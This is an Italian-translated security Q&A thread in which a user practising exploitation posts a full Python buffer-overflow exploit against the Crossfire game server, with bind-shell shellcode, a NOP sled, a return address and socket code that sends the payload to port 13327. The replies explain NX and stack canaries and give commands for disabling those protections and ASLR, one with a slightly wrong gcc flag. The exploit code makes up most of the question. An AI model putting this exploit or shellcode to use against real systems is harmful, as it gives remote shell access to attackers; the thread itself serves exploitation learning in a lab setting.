Protezione della memoria Linux dall'overflow del buffer

3

Sto praticando lo sfruttamento del buffer overflow di Linux. quando si tenta di sfruttare una vulnerabilità in crossfire, tutto funziona bene e il codice shell viene inserito nel posto giusto e il flusso del programma viene reindirizzato allo shellcode, tuttavia, quando si avvia il codice shell, il programma fallisce.

Versione del sistema operativo (bt5 R3): Linux bt 3.2.6 # 1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU / Linux

exploit code:

import socket, sys
host = sys.argv[1]

//0x8134e77 jump eax 
//0xb7dadad6 nop sled address

shellcode= ("\xcc\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80")

crash = "\x90" *199 + shellcode + "\x43" * 4090 + "\xd6\xda\xda\xb7" + "D" * 7

buffer= "\x11(setup sound " + crash + "\x90\x00#"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "[*]Sending evil buffer..."

s.connect((host, 13327))

print (s.recv(1024))

s.send(buffer)

s.close()

print "[*]Payload Sent !"

Ho posizionato un punto di interruzione prima dello shellcode e il flusso di esecuzione lo ha eseguito correttamente, tuttavia, dopo aver interrotto il programma, si è verificato il seguente messaggio: "Programma ricevuto segnale SIGSEGV, errore di segmentazione. 0xb7daeb36 in ?? () "

Durante l'ispezione di questo indirizzo, è pieno di zeri!

Ho già disattivato ASLR prima di iniziare l'esercizio e mi chiedo se esiste un altro meccanismo di protezione che impedisca lo sfruttamento?

    
posta Ahmed Taher 06.07.2013 - 04:14
fonte

2 risposte

2

Il modo in cui lo shellcode viene ricevuto dal programma vulnerabile, memorizzerà questo shellcode nello stack. Hai due meccanismi di protezione che impediscono l'esecuzione dello shellcode. Uno è lo stack che verrà contrassegnato come non eseguibile (la protezione del bit NX) e l'altro è il canarino (dove un valore casuale viene posto prima dell'EIP sullo stack e controllato prima di inserire EIP).

Devi disabilitare entrambi questi meccanismi di protezione prima di eseguire lo shellcode dallo stack.

Se stai usando gcc, ricompila il programma vulnerabile come:
gcc -fno-stack-protector -z stackexec -o vuln_prog vuln_prog.c

Quindi esegui lo sfruttamento.

    
risposta data 06.07.2013 - 07:03
fonte
1

Penso che controllerei il tuo shellcode dato che contiene valori come xff che potrebbero non funzionare in questa istanza. Potrebbe essere utile provare a generare un nuovo codice utilizzando metasploit (msfweb), ad esempio, che consentirà di escludere determinati valori 0x00 e simili. Verifica anche che tu abbia disabilitato ASLR: echo 0 > /proc/sys/kernel/randomize_va_space

    
risposta data 28.09.2013 - 02:28
fonte

Leggi altre domande sui tag